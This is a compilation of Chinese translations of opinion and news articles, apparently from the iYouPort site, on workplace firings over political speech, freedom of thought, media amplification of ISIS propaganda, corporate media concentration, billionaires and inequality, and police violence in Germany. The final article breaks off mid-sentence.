在过去的十年中，欧洲法庭得出的结论是，对各种非宗教信仰取消限定。人智学、反对狩猎、达尔文主义、对 “公共广播新闻的更高目标” 的信念、道德素食主义者都已被划入其中。对中国表示同情、不喜欢寻求庇护者、并坚信**9/11**和**7/7**是 “假旗” 行动，这些没有被列入保护。关于素食主义和马克思主义，各国的意见不同。

在大多数欧洲国家，尤其是前共产主义国家和一些美国州，出于政治信仰开除某人是非法的。

硅谷的几名员工在加利福尼亚州维权时使用了此类法律，称他们因保守立场而被解雇。大多数美国人在工作中没能保护自己的政治信仰。

2004年，阿拉巴马州的一名妇女因在其汽车上贴有 John Kerry 的保险杠贴纸而被一家房屋隔热材料公司合法解雇。去年12月，在佐治亚州一家购物中心扮演圣诞老人男子被解雇，因为网上有照片显示他在值班时戴着亲总统特朗普的棒球帽（他声称那是个玩笑）。

加利福尼亚州的就业律师 Christopher Olmsted 预计，随着今年晚些时候选举的临近，有关工作场所的政治争端将会加剧。

雇主表示，他们需要限制某些观点的表达，以创建 “包容性的工作场所”。考虑下谷歌工程师 James Damore 的案例，他在撰写 “谷歌备忘录” 后于2017年被解雇。该备忘录称，女性在生物学层面上被决定了

不适合从事科技工作。

许多公司的多元化官员对此表示抗议，认为由于某人的个人观点与规范不符就被解雇，这种行为本身就是包容性的对立面。而人力资源和就业律师为解雇辩护，认为这是保护员工免受敌对情绪和保护公司免受诉讼和不良新闻侵害的唯一方法。

但是，这里的问题是，雇主公司越来越担心员工在办公室外说的话和做的事。

在2018年，迪斯尼解雇了一位电影导演，是因为他的一条推文，他在推文中开玩笑说强奸，而那条推文是在该公司聘请他之前的几年发出的。

2019年，英国超市巨头之一 ASDA的“迎宾员”因在 Facebook 上分享了 Billy Connolly 的视频（这是一位喜剧演员，而这家超市也卖他的作品）而因被指伊斯兰恐惧症而被开除。

两个人都已复职，但是在经历了一大堆麻烦之后才复职的，并且全部是因为他们的雇主对社交媒体上发生的事感到恐慌，慈善机构 Index on Censorship 即将离任的首席执行官 Jodie Ginsberg 说。

荷兰雇佣律师 **Pascal Besselink** 估计，荷兰目前大约有十分之一的解雇案件与社交媒体言论有关。但很少有相关案例能引起太多关注，因为公司倾向于悄悄解决争端。

即使公司是对的，他们也希望不被舆论关注，所以他们会以封口费来安抚被解雇的人。

法院正在审理此类案件。去年八月，澳大利亚高等法院维持了移民部的一项裁定，解雇了一名公务员，该公务员发送了数千条批评其雇主的匿名推文。

更复杂的是，作为解雇理由的帖子与工作完全无关，但这些帖子被认为 “使雇主蒙羞”。

员工的积极性可能特别棘手。亚马逊员工最近因批评该公司的气候政策而遭到解雇的威胁。谷歌也被指控试图压制异议声音，包括那些批评该公司对性骚扰及其在中国的秘密审查工作的回应的声音。

为了预防冲突，雇主公司正逐步在行为准则和社交媒体政策中阐明自己的期望。尽管详细程度有所不同。

英特尔只是要求员工“言论合理”。通用汽车长达12页的社交媒体政策提醒雇员：“您的在线交流不会仅仅因为在工作时间以外或在通用汽车办公场所之外发生而被原谅。”

James Laddie 律师表示，用人单位对雇用条件的要求几乎没有限制。但是社交媒体的使用现在如此广泛，以至于极端限制（例如 Twitter 的全面禁止）已不再现实。

“法庭对拒绝遵守这样的禁令而被解雇的人持什么样的看法尚待检验。他们最好能说出‘我们不在乎您的条款和条件所限制的东西’，因为某人发表了自己的意见而开除某人是不公平的”，律师说。

在所有这些规定中，普华永道的 Pam Jeffords 想知道，公司是否可以在就业条件下用“礼貌”的要求更有用地代替“尊重”的要求。她说：“要求我尊重一个认为女性无权驾驶的人是不现实的，但让我保持民事态度是合理的。”○

Companies are increasingly worried about what their employees say

原文

你真的想要思想自由吗？如果是，可以怎么办？ - iyouport

你应该了解的现实社会反抗和思考

【 2020年5月6日存档】前一个问题很重要

当下的思想自由处于关键的十字路口。

数字技术和心理学研究上的进步可以用来促进自由思想，它们可以保护内心世界，减少心理偏见，并创造新的思想空间；但是，事实上正相反，国家和寡头公司正在将这些进步锻造成限制我们思维的武器。

失去思想自由将是失去某些人类特性的开端。

人类和动物都有基本情感，但只有人类可以做退后一步，问自己：“我想生气吗？”、“我想成为那样的人吗？”、“我能变得更好吗？” ……

人类可以判断自己内心冒出的感觉和欲望是否与自己的目标、价值观和理想相一致。只有能做到这点，才能采取正确的行动。

但是，有时也可以得出这样的结论：一些突然出现在你脑海中的想法是一种推动力，但那不是你自己的力量。比如你正坐下来准备开始工作，“点开 Facebook！” 在你脑海中闪烁。这个想法是来自您还是来自马克·扎克伯格？

只有实现思想自由才能实现人格尊严，才能实现民主，这是使我们成为一个人的一部分。

自由思想的三大威胁

「图」

第一个威胁来自心理学的进步。研究使人们对影响我们的思想、行为和决策的事物有了新的认识。

但是，国家政权和寡头公司利用这些知识操纵所有人，以符合当权者目标的方式思考和采取行动。

- 在这里看到最近的案例《心理操纵的秘密：”行为经济学”＋PR＝？》
- 《最完美的绑架》

这些权力黑手利用这些知识操纵人们的赌徒心理、购买更多、并在社交媒体上花费更多的时间。它甚至可以用于操纵选举。

- 《看不见的独裁》

第二个威胁来自将机器学习算法应用于“大数据”。

- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 大数据如何杀死了民主《国王们懂得晚宴》
- 关于算法暴政《算法是如何侵犯你的—5个纪录片》
- 《算法专制》
- 《媒体巨头和硅谷的武器化算法沉默异议》
- 《算法殖民：从不知所云的流行语到金钱驱动的流行病》

当你向寡头公司提供数据时，也就同时 “允许” 他们深入了解你的内部。这使你更容易受到操纵 —— 当你意识到自己的隐私受到损害时，就会削弱自由思考的能力。监视之下是没有自由思考的。

第三个威胁来自不断增强的从大脑活动中解码思想的能力。

Facebook、Microsoft 和 Neuralink 都在开发人机界面。这可以创造出能够读懂我们思想的机器。

但是，当人的思想被前所未有地曝光时，就会对基本自由造成前所未有的威胁。

技术和心理学的这些进步为国家政权和寡头公司控制、操纵和惩罚人们的思想打开了大门。这种情况下我们该怎么办？

法律能拯救你

「图」

国际人权法赋予思想自由权。

但是，这项权利几乎被完全忽略了。很少在法庭上援引它。需要弄清楚我们希望这项权利意味着什么，以便我们可以用它来保护自己。

我们应该使用它来捍卫精神隐私。否则，一致性的压力将阻碍我们自由发挥思想和寻求真理。

- 《异议的消亡：为什么网络变得同质化》

我们应该使用它来防止我们的思想被社交工程伎俩或威胁性惩罚所操纵。

应该使用它来保护所有形式的思想。

思想已经不仅发生在人的脑海中。有时人们还会通过写作或 Google 搜索来思考。如果我们将这些活动视为“思想活动”，则它们应符合思想自由权下的绝对隐私权 —— 你的搜索历史记录不应该为任何人所了解，你写下的每一个字都不应该接受任何审查监视。

最后，我们应该利用这项权利，要求建立允许所有人自由思考的社会。这就是心理学可以提供帮助的地方。

防止操纵

「图」

更好地理解自己的思想可以帮助保护我们免受他人的操纵。

例如，心理学家丹尼尔·卡尼曼（Daniel Kahneman）区分了“经验法则”和“理性法则”两种思维。

经验法则思维涉及轻松而古老的思维过程，使人能够快速做出决定。这种速度的代价可能是出错。相反，理性法则思维是一个缓慢的、有意识地控制的过程，通常是基于语言的。它需要更长的时间，但是可以更准确。

这表明在我们的思维中制造减速带可以帮助改善决策。

毫不犹豫地点击宣传性内容的人是无法行使思想自由的。行为之前需要首先确定那是来自自己的欲望还是木偶大师的欲望。

人们还必须将环境更改为支持自治的环境。这样的环境可以使每个人能够为自己的行动创造理由，最大限度地减少奖惩等外部控制，并鼓

励选择、参与和共同决策。

技术可以帮助创造这样的环境。但是执行此任务是谁的责任呢？

采取行动

「图」

必须帮助公民从小就掌握科学的思维方式。必须构建可以促进自由思考的社会。而政府有义务制止那些侵犯思想自由权的人，包括寡头公司。

公司必须发挥作用。他们应将思想自由声明为一项政策承诺。他们应该对自己的活动如何损害思想自由进行尽职调查。他们必须解释他们是使用什么方法来操纵大众行为心理的。

人民必须教育自己，必须促进和支持自由思想的价值观。必须谴责这种将人类行为作为提取资源以盈利的监视资本主义体制。必需能做到避免社会性变成人类最大的劣势之一。

否则就不得不用脚和钱包投票以反对那些侵犯我们思想自由的人。

所有这一切都是在假定所有人都想要思想自由的基础上。

但是，是不是所有人都真的想要呢？实际上，仍然有许多人宁愿被他人影响，也不愿安静地思考。

你身边是否有许多人仍然希望政府和寡头公司代替自己的思考、提供预测和推动，以便他们可以简单地遵循？

我们究竟需要多少思想自由？准备为此付出什么？需要首先回答这个问题。

简而言之，我们仍然想成为人类吗？还是这种标志性能力（自由思考）所带来的痛苦、努力和责任已经变得太大，以至于无法承受？

如果是后者，那一切将无从解决。〇

作者是都柏林圣三一学院临床心理学和神经心理学副教授 Simon McCarthy-Jones

原文

你骂他，就是给他帮了大忙：一个最新的案例 - iYouPort

关于真实的“媒体”-真相衰变社会反抗和思考

不论是周小平还是外交部还是胡锡进，都是以同样的方式占据了其完全不相称的舆论称份额。当人们的注意力继续被某种恶意愚蠢所绑架时，这些玩偶将获得更大的成功。

「图」

「图」

当冠状病毒大流行的浪潮开始冲击西方国家时，一则挑衅性的新闻冲破了喧嚣，在几十家媒体上传播。

奇怪的标题称，恐怖组织 “伊斯兰国” 因冠状病毒爆发而发出旅行警告，敦促其战斗人员避免前往欧洲。据称，伊斯兰国援引该组织相关通讯上张贴的一张 “整版信息图”，告诉其成员 “相信真主，寻求真主的庇护，远离疾病”，并谨慎地建议他们多洗手，远离疾病传播的地区。

在正常情况下，即使没有全球性的大流行病，一个激进组织的外文通讯上发表的一条晦涩难懂的信息，在激烈竞争的全球注意力经济中也不可能获得多大的吸引力。但是，ISIS一直是记者们的兴奋剂。

从 Politico 到独立报再到纽约每日新闻，关于ISIS应对冠状病毒的奇葩新闻在全世界范围内被各种报道和放大。

不难想象，有数千万人看到了这则新闻 —— 一个不花钱白来的信息图，却有着令人印象深刻的投资回报，谁会不爱呢。

如果你想发展一场政治运动，甚至只是让它保持活力，关注度就是你的氧气。而一段时间以来，媒体一直在充当着通气管的角色：放大ISIS最"晦涩"和"可笑"的宣传，看起来就像是 *希望* 它重新崭露头角。

ISIS的支持者似乎已经学会了利用这一优势，他们制作内容，以保持其公众形象，即使其大多数成员已被杀死，其现实世界的力量大部分被摧毁。他们也能继续借助这群愚蠢的媒体以“活在每个人眼前（甚至心里）”。

伦敦国王学院激进主义国际研究中心高级研究员 Charlie Winter 早在2017年就在《大西洋》杂志上撰文指出，ISIS 组织善于将媒体对恶名的渴望转化为武器。

“对于ISIS来说，只要是按照宣传者的条件，传达该组织所谓的实力和无所不在，任何报道都是好的报道，” 温特写道。“从这个意义上说，**ISIS**的恐怖主义并不会在炸弹引爆时结束。相反，它在数小时、数天和数周后继续存在 —— 通过媒体继续存在。”

在ISIS实际在西方城市引爆炸弹并发动袭击的时期，该组织通过其他很久以前的恐怖分子所称的“事迹宣传”，为其事业赢得了关注。

在巅峰时期，ISIS新颖地使用高制作的视觉效果来宣传自己，确实有所谓的新闻价值。然而，在过去的几年里，随着该组织的攻击越来越无能，其实际上已经沦为伊拉克和叙利亚边境地区的叛乱，这些记者们反而被迫不惜一切代价为该组织进行宣传。

随着实际的ISIS进一步走向衰落，绞尽脑汁寻求点击率的新闻机构，不得不越来越深入到网络垃圾堆中去寻找关于该组织支持者的挑衅行为。

目前还不清楚为ISIS传播信息有什么效果，但是，过去我们已经看到有人从媒体公布的关于该组织的材料中获得灵感。

2016年夏天，佛罗里达州居民 Omar Mateen 在奥兰多一家夜总会杀死49人后，拨打了911，并声称这次袭击是对 “Abu Waheeb” 之死的回应 —— 这位ISIS指挥官因被嘲笑长得像中东烤肉卷而在小报媒体上成名。

没有任何证据表明，Mateen 除了在媒体上读到过该组织的消息外，与该组织有任何实际接触。

时间显然没有削弱ISIS的媒体吸引力。去年秋天，英国媒体为一名被关押在叙利亚的ISIS少女俘虏提供了数周的整版报道，甚至刊登了独家报道，向读者提供她对最近关于脱欧谈判的意见。

「图」

「图」

有一个相关的现象，美国人最懂了：唐纳德·特朗普2016年的竞选活动。

现在大家应该都很熟悉了，现任总统在竞选之前从来没有在政治上扮演过任何角色（也因此被称为素人）。他的整个竞选活动，诚然是一场娱乐性的活动，当时很多人都认为那是宣传噱头。然而，新闻媒体却对他爱不释手，在特朗普的挑衅越来越严重的时候，这群媒体仍然给予他大量的播出时间，使他可能成为了被讨论最多的人。

2016年，前**CBS**高管 **Les Moonves** "夸下海口"，说特朗普的竞选活动 “可能对美国不利，但对 **CBS** 广播公司来说是好得要死的好事”。

新闻媒体对他这样的表演者给予了很好的回报。在大选周期内，特朗普估计获得了媒体免费报道的金额高达50亿美元。

- 《选举运动的数字化斗争: 2020 Presidential Race》

不能说媒体本身让特朗普当选，但是，鉴于媒体的作用是让他在公众面前保持了几个月的强烈关注度，这些媒体实际上帮助特朗普实现了任何政治运动中最有价值的目标之一：抢夺大众的注意力。

即使已经身为总统，人们仍在争论，他每天更新的冠状病毒大流行的消息是否应该在黄金时段进行现场新闻报道。

这个问题值得铭记在心，当我们考虑在一个具有全球重要性的主题上提升谁的声音时，无论我们谈论的是不负责任的官员兜售未经测试的冠状病毒疗法，还是一个恐怖组织的支持者试图通过告诉人们多洗手来维持其事业旺盛的生命力。

“当你像今天这样因为数字连接而拥有数以百万计的公众声音时，那么注意力就成了你能争取到的最有价值的东西”，前中央情报局媒体分析师、《The Revolt of the Public》的作者 Martin Gurri 说，“它甚至比金钱更重要，因为到最后，如果你能不断获得关注，那么你最终可能不仅会获得金钱，还会获得权力。” ○

Journalists Promoted ISIS Coronavirus Propaganda. They Should Stop.

原文

停止“主流” - iYouPort

关于真实的“媒体”-真相衰变社会反抗和思考

中国一直在朝着认知垄断的绝对化进击，与此同时逃离中国式洗脑的人们却再次陷入了其他语种营造的同样的怪圈。继续下去不仅找不到民主，甚至会越来越少的人真正理解什么是民主……

「图」

「图」

为什么必须停止“主流”的问题，IYP 曾经讲过很多。因为中国一直在朝着这一认知垄断的绝对化进击，与此同时逃离中国式洗脑的人们却再次陷入了其他语种营造的同样的怪圈。继续下去不仅找不到民主，甚至会越来越少的人真正理解什么是民主。

- 关联：《新闻之死—— 民主体制是否能修复的关键是什么？》
- 《现代新闻之愚蠢并非意识形态倾向性问题 (1)》
- 《现代新闻之愚蠢 (2)—四种最致命的倾向性》
- 《现代新闻之愚蠢 (3)—深度剖析四种致命倾向性，及其政治代价》

事实上，这些研究在近三十年内几乎层出不穷，与此同时，研究前辈们也只能眼睁睁看着当初提出警告的状况一直在不断迅速恶化。

和任何一种问题的解决一样，首先需要做的就是知道这个问题是怎么来的。

历史上，“主流媒体”一词指的是最大型的媒体机构。这些报纸和广播媒体能夺取大多数公众的眼球。当卡尔·詹森（Carl Jensen）创立 Project Censored 时的1976年，就是这种情况。

那年，主流媒体已经开始越来越多地忽略掉了重要的新闻报道，这引起 Carl Jensen 极大的担忧；于是他与研究人员合作，开始制作被主

流媒体忽视了的最重要新闻报道的年度报告。

从最初的影印报告到1993年出版的第一个年鉴，“Project Censored”一直在将美国媒体统称为大众媒体或主流媒体。在 Project Censored 的20周年纪念册中，Carl 写了一篇文章《没有制作新闻的新闻—以及为什么》[纽约：Seven Stories Press，1996，p.9]。

在20世纪80年代，关于主流媒体如何在美国发生变化的两个重要分析，改变了媒体和传播的整体研究。1982年，Ben Bagdikian 完成了他的著作 “媒体垄断”的研究，当时他发现有50家公司控制了至少一半的媒体业务。然而到了1986年12月，当他完成对该书第二版的修订时，权力的集中度已经从50家公司降至29家。Bagdikian 指出，全国1,700种日报中有98％是当地垄断企业，剩下的只有不到15家媒体。

媒体研究发展的第二个重要转折点是 Edward S. Herman 和 Noam Chomsky 的著作《Manufacturing Consent》的出版。这本书指出，由于媒体牢牢地嵌入了市场体系，它们仅仅反映了其所有者和广告商的阶层价值观和关注点。

这本著作报告，媒体通过五个系统过滤以维持公司的阶级偏见，他们称之为“宣传模式”：集中私有制、严格的底线利润取向、过度依赖政府和企业的新闻来源、避免冒犯强者的主要倾向、 以及对市场经济的近乎宗教式崇拜，强烈反对其他信仰。这些过滤器限制了整个社会的认知，并设定了可接受的日常事件覆盖范围的参数。

1997年，Project Censored 开始揭露，主流媒体正在转型日益成为企业媒体。在1997年的 Censored 报告中，IvanHarsløf 使用“主流企业媒体”这个术语来描述美国媒体的持续快速整合、以及他们所采取的审查形式。[Phillips 和 Harsløf，“现代民主社会中的审查制度”]。这份研究引用了 Herbert Schiller 的调查，对通过集中化新闻机构操纵公众认知的现实表达了严重担忧。

次年，1998年的 Project Censored 报告采取了强有力的立场反对自我审查，特别是当企业媒体官僚机构内的组织文化影响记者的选择和特定新闻报道的导向时 [Phillips，Bob Klose，Nicola Mazumdar 和 Alix Jestron，“自我审查和媒体精英的同质性“1998年，第141–52页]。

此外，报告还研究了六大媒体机构的联锁董事职位，发现81名公司董事（其中89％为男性）在巨头企业董事会中担任104个董事职位。很明显，我们所谓的主流媒体不再存在，已经转变成了简单的企业媒

体。

1999年的 Censored 写道："美国媒体已经失去了多样性和能够提出不同观点的能力……每个企业媒体都花了数百小时和一大叠的新闻纸来报道比尔克林顿的性侵犯，并在此过程中忽略了许多最重要的新闻报道" [Phillips, "Building Media Democracy," in Censored 1999: The News That Didn't Make the News (New York: Seven Stories Press, 1999), p. 129]

到千禧年，就 Censored 而言，"主流"媒体已完全从美国消失。取而代之的是一个日益集中的、被高度控制的和宣传性的公司结构，它已经放弃了为广大公民提供信息和服务的历史悠久的承诺。

为了说明媒体公司转型的程度，2006年 Censored 报告中，来自索诺玛州立大学的 Project Censored 学生团队确定了美国十大媒体机构的118名董事会成员，从报纸到电视再到广播，追踪他们与其他公司董事会的直接联系。基于这种关系网分析，该团队得出结论："企业主导的资本主义财富高度集中才是目标，企业媒体就是这种集中化的啦啦队" [Bridget Thornton, Brit Walters, and Lori Rouse, "Corporate Media is Corporate America: Big Media Interlocks with Corporate America and Broadcast News Media Ownership Empires," in Censored 2006: The Top 25 Censored Stories (New York: Seven Stories Press, 2005), p. 246].

今天，经过十几年的进一步整合，企业媒体已经形成一个整体的高度集中的权力结构，服务于帝国、战争和资本主义的利益。Ratonya Coffee，Robert Ramirez，Mary Schafer 和 Nicole Tranchina 共同撰写了一篇题为《出售帝国、战争和资本主义：为跨国资本家服务的公共关系宣传公司》的报告，揭露了公关宣传的方式，以及更广泛的企业媒体，通过"对人类欲望、情感、信仰和价值观的霸权式心理控制"，促进资本增长成为他们的首要目标 [Phillips, Coffee, Ramirez, Schafer, and Tranchina, "Selling Empire, War, and Capitalism: Public Relations Propaganda Firms in Service to the Transnational Capitalist Class," in Censored 2017: Fortieth Anniversary Edition (New York: Seven Stories Press, 2016), p. 307].

对于我们这些捍卫民主努力反对集中化财富帝国破坏性议程的人来说，当"企业媒体"更加准确和具有启发性时，显然是时候停止使用"主流媒体"一词了—— "主流"似乎意味着大众的选择，但如今并不是如此，恰恰相反是大众没有选择权，只能被资本驱动的巨型机器绑架认知。

1996年至2010年，作者 Peter Phillips 担任“Project Censored”主任十四年。他于2018年正式退出 Project Censored。他是索诺玛州立大学政治社会学教授。 Seven Stories Press于2018年8月出版了他的新书“巨人：全球权力精英”。

How Mainstream Media Evolved into Corporate Media: A Project Censored History

原文

允许亿万富翁与极端贫困同时存在的制度是不道德的 - iYouPort

社会反抗和思考

为什么有人能拥有私人停机坪，就在多数人甚至无法拥有基本卫生保健权利的社会里？经济不确定性和民粹主义正在抬头，为什么……

「图」

「图」

众议员 Alexandria Ocasio-Cortez 同意“允许亿万富翁存在的制度”是不道德的。

在纽约举行的小马丁路德金日的活动上，女议员肯定地回答了这个问题，此时世界上许多亿万富翁正聚集在一起开始达沃斯年度经济论坛，而经济不确定性和民粹主义正在抬头。

“我认为这并不一定意味着所有亿万富翁都是不道德的，”她引用比尔盖茨和沃伦巴菲特这两位主要的慈善家说。预计盖茨今年将再次参加达沃斯论坛。

但她特别指出，亿万富翁可以在一个国家里与“阿拉巴马州那样地方共存，那里的人甚至无法获得公共卫生服务”，这样的制度是不道德的。

在纽约市哈林区附近的河滨教堂举办的 MLK Now 活动中，Ocasio-Cortez 在与记者和作家 Ta-Nehisi Coates 的对话中反对经济不平等。

“我们是否应该适应一个极少数人可以拥有直升机停机坪、而[纽约市]正经历着自大萧条以来无家可归者最高比率的社会？”她询问亚马逊首席执行官杰夫贝索斯在该公司新总部提出的直升机停机坪计划。

Ocasio-Cortez 解决严重贫富差距的方法之一就是70％的边际税率，

这一政策提案已经在华盛顿掀起巨大波澜。这项税收适用于每年收入超过1000万美元的人，这一群体目前的边际税率上限为37%。

Ocasio-Cortez 成为有史以来最年轻的女性议员，作为一个自我认同的民主社会主义者，她致力于通过激进手段减少经济不平等的承诺。

原文

先开枪，再问问题：来自世界各地的警察暴力 - iyouport

社会反抗和思考维稳面面观

【2021年5月14日存档】“上帝不会为你而战，直到你为自己而战”

【按】在乔治·弗洛伊德于5月25日被明尼阿波利斯警察谋杀后，美国两千多个城镇以及全世界六十多个国家都发生了反对种族主义和警察暴行的大规模抗议活动。后者固然是团结的表现，但也显示了更多的东西。

美国公民对警察暴行的持续抗议，反过来又使人们越来越多地认识到一个真正具有国际性的问题。几乎任何一个国家的某一特定人口 ——无论是宗教少数群体、难民、被奴役者的后代，还是城市贫民 ——都是不成比例地遭受监视和国家暴力的受害者。人们看到的这场去年蔓延到今年的全球性大型抗议，是对国际上一切形式的警察恐怖的谴责。

（下面是哥伦比亚4月30日的反警察抗议活动）

哥伦比亚的反抗行动从五一节开始一直持续，进而联合巴勒斯坦：

在一个又一个国家，人们走上街头呼喊着：“发生在乔治·弗洛伊德身上的事情也发生在这里！”在有些国家，抗议者甚至指出美国如何是在境外制造警察恐怖的同谋。

为了探索这些起义的起源，本文汇集了居住在不同国家的六位作家对当地的警察暴力状况进行的思考。

Edna Bonhomme 揭露了德国政府对非洲和亚洲移民实施暴力的历史，而这一历史尚未受到任何重视。Dalia Hatuqa 报告了最近一名巴勒斯坦残疾人被杀事件，以及以色列和美国警察部队之间的致命合作。Manisha Sethi 分析了印度警察是如何系统性地针对穆斯林和其他少数群体成员，有效地充当了印度教法西斯势力的常备军。Nara

Roberta Silva 回顾了巴西警察在1964–85年独裁统治下的军事化进程 —— 这一进程在如今的文官统治下并未改变。Gaby Del Valle 写道，地方执法部门和联邦移民机构之间的合作使美国的边界越来越向内移动。而 April Zhu 则研究了肯尼亚针对贫困人口的刑事化镇压，在那里，已经有数十人因违反流行病宵禁法而被警察杀死。

随着仇外心理和民族主义复仇主义笼罩全世界，人们越来越清楚地看到，内部对移民、少数民族、穷人（低端人口）和其他所谓的“不受欢迎的”人口的镇压是如何造成大规模的流离失所，甚至是战争的。我们希望这些文章能让读者在看似不同的治安制度之间建立联系。

📌 IYP 在“行动主义”系列课程中多次强调过这点：侵犯人权行为绝不是单独的个人或单独的机构完成的，它是一个大型利益关系网络的合谋；如您所见，侵犯人权者一直在跨国联合以增强他们各自的镇压能力 —— 不论是技术还是技能，如果反抗者不能做到真正足够大规模的联合，您将无法战胜侵犯人权行为。局限于本土的反抗已经远远不够了。土耳其海峡大学反警察暴力的抗议，持续数月，截止*4*月已经有至少*560*名学生被拘留，警察使用催泪瓦斯和橡皮子弹驱散人群。抗议的学生使用美国的标语 – “我无法呼吸”

不要错过我们正在进行的“示威参与者”指南系列，它旨在系统性地保护行动者在现场的安全；如果您是少数族裔、底层穷人、敏感人士，您需要知道，这些防御知识可能需要您在日常生活中实践，而不仅仅是抗议活动中：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 持续进行中……

您可以将下面这套文章和另一篇文章放在一起阅读，以便更清楚地理解其中一些重要和紧迫的问题：《新的国内反恐战争即将来临，问题是，它会遇到多少反对》。德国警察守卫新纳粹游行

对白人暴动的恐惧：德国

「图」

「图」

“我们不能仅仅满足于还没有被正面射杀。我们必须要求得到像真正的公民那样的尊重和待遇”

By Edna Bonhomme

石勒苏益格-荷尔斯泰因地区议会绿党成员阿米纳塔·图雷最近说，我们仿佛被告知：“很高兴来到这里。在美国，黑人会被枪杀，但在这里不会！” 德国已经处理了自己的过去，不像美国那样暴虐。 这是许多德国白人—— 以及许多生活在柏林的美国白人 —— 告诉我的。他们常常认为，暴力种族主义和警察暴力是美国特有的问题，是德国主流社会所不具备的东西。从这个意义上说，美国是德国社会举起的一面有趣的镜子，以说服自己 “这里一切都好“ ：一种安慰性的虚构，它建立在对德国过去和现在的失忆和无知之上。

一些同样的种族虚构在大西洋彼岸也有了根基，美国人将德国视为一个试图处理可怕过去的国家的积极模式。哲学家苏珊·尼曼（Susan Neiman）在她的《向德国人学习》一书中，对德国战后纪念大屠杀的项目进行了有利的描述，最明显的表现就是为受害者建立纪念碑，仅柏林就有四百多座。正如尼曼所正确指出的那样，这种身体力行的记忆文化与美国纪念奴隶制、臭名昭著的吉姆-克劳法、和种族主义暴力的方式是无法相比的。德国的 “成功” 故事也得到了塔尼西斯·科茨（Ta-Nehisi Coates）的预言，他在其开创性的文章《The Case for Reparations》中评论道：“当西德开始对大屠杀进行补偿的过程时，它是在对我们应该有所启发的条件下进行的”。

【注：苏珊·尼曼（Susan Neiman）是美国道德哲学家，文化评论家和散文家。她在启蒙运动的道德哲学、形而上学和政治之间的交界处，为学术界和普通大众作了大量的写作。

塔尼西斯·保罗·科茨（Ta-Nehisi Paul Coates）是美国作家和记者。在担任大西洋国家记者期间，科茨赢得了广泛的读者群，在那期间，他撰写了很多有关文化，社会和政治问题的文章，尤其是有关非裔美国人和白人至上主义的文章。 】

为大屠杀受害者建立纪念碑和提供物质补偿应该是德国国家和社会对过去罪行的补偿的一部分。但是，如果认为这些行动使德国社会摆脱了偏执、或者认为这些行动的影响已经扩大到能覆盖该国所有遭受歧视的人，那就绝对错了。

德国的种族主义历史并没有在**1945**年结束。无论是从土耳其来到西德，还是从莫桑比克或越南来到东德，战后的移民都在工作场所、住

房和整个德国社会中遭受（并继续遭受）系统性歧视。在柏林墙倒塌后的几年里，本应是前瞻性公民民族主义取得重大胜利的时刻，但新纳粹的暴力浪潮却震撼了这个国家。

【注：如果您对相关话题的完整故事感兴趣，可以回顾我们曾经摘录的一下系列内容：

- 《柏林墙倒了吗？（1）：五味杂陈的卡巴莱》
- 《柏林墙倒了吗？（2）：条顿式媚俗和莱比锡翻页》
- 《柏林墙倒了吗？（3）："我第一次感到害怕"》
- 《柏林墙倒了吗？（4）：种族的神秘性》】

1991年9月的几天里，萨克森小城 Hoyerswerda 的数百名居民包围了200多名非洲和亚洲移民的住所，最终将他们赶出了这个有7万人口的小镇。

这场 "现代大屠杀" 后，肇事者大胆而自豪地宣布他们的小镇 "没有外国人"。

第二年，数百名来自东德和西德的新纳粹光头党袭击了东德城市罗斯托克的寻求庇护者，这些暴徒在那里得到了成千上万当地居民的欢呼。霍耶斯韦尔达和罗斯托克也不例外：根据欧洲共同体委员会的统计，仅在1991年，德国各地就发生了2386起种族主义和仇外攻击事件。一名莫桑比克人在德累斯顿被谋杀，在离法国边境仅几英里的萨尔路易斯，一名加纳人也遭遇了同样的命运。

这种暴力并非凭空而来。

在霍耶斯韦尔达骚乱发生前的近一年时间里，面对光头党活动的明显增长德国警方几乎没有采取任何行动。正如罗杰·卡拉平（Roger Karapin）在《德国的抗议政治》一书中所指出的那样，"光头党通过义警活动获得了知名度和公众接受度，这些活动得到了警方的容忍和许多德国人的欢迎"。

新纳粹组织 "Deutsche Alternative"（DA）与目前活跃的极右翼民族主义政党 AfD 有更多的相似之处，该组织在霍耶斯韦达获得了当地社区的支持。

在那里发生骚乱的第一个晚上，警方并没有出面阻止光头党，偶尔甚至与这些暴徒合作。警方一直等到暴动的第四天晚上，才将受到攻击的工人住房封锁起来。从始至终。德国警方表现出明显的对保护外国

人毫无兴趣。

德国政客和警察非但没有试图果断地挫败这种仇外暴力，反而协调性将大多数非洲和亚洲移民从霍耶斯韦尔达强行疏散，平息了新纳粹情绪的上升，并巩固了政客和警察在种族主义暴力中的共犯地位。

20世纪90年代初的有组织的种族暴力可能有所减弱，但光头党已经将移民群体赶出整个城镇，留下了一个不可磨灭的响亮信息 —— 这里不欢迎非洲人和亚洲人，德国国家也不会保护这些移民。与大屠杀不同的是，这种种族主义暴力的爆发一直没有得到充分的审视，德国社会从未处理过它的影响，也没有考虑过它的意义。

九十年代初似乎是很久以前的事了，但是，最近我在德国生活的三年里，又发生了多起德国白人暴徒恐吓有色人种的新事件。2018年，在东德小镇开姆尼茨，一名男子在斗殴中被刺伤后，居民们组织了数天的集会，反对移民或被认为是移民的任何人。

在那里和该国的其他地方，有很多人受到攻击。2020年2月，在黑森州哈瑙市，一名极右翼极端分子疯狂开枪，杀死9人（包括他的母亲和他本人），6人受伤。

虽然枪手似乎是独自策划了这场袭击，但正如 Ozgur Ozvatan 在半岛电视台所写的那样，这起暴力事件是“德国社会越来越接受种族主义、歧视性和排斥性观点的直接结果”。

最近发生的一连串的白人至上主义暴力事件记录了德国日益增长的仇外情绪，但这些极端行为植根于日常歧视和结构性政策的长期记录。

当成群结队的种族主义者进入政府和执法部门后，就没有孤狼了。

最近的白人至上主义暴力事件并不是孤立发生的，而是伴随着仇恨团体的兴起、歧视的加剧、以及极右翼反移民民族主义者 AfD 的合法化，AfD在2017年大选中成为联邦议会第三大政党。

就像上世纪90年代初一样，在涉及到当代针对有移民背景的人的种族主义攻击和歧视时，德国警方往往就是问题的一部分。正如古里·夏尔马所指出的那样，种族主义和极右政治在警察和其他机构中十分猖獗；在最近的案件中，德国警察与新纳粹组织有直接的联系。甚至一些政治官员，如社会民主党主席萨斯基亚·埃斯肯也观察到，该国的安全部队中存在着明显的种族主义。

自1990年以来，德国至少发生了269起警察枪击事件，自1993年以

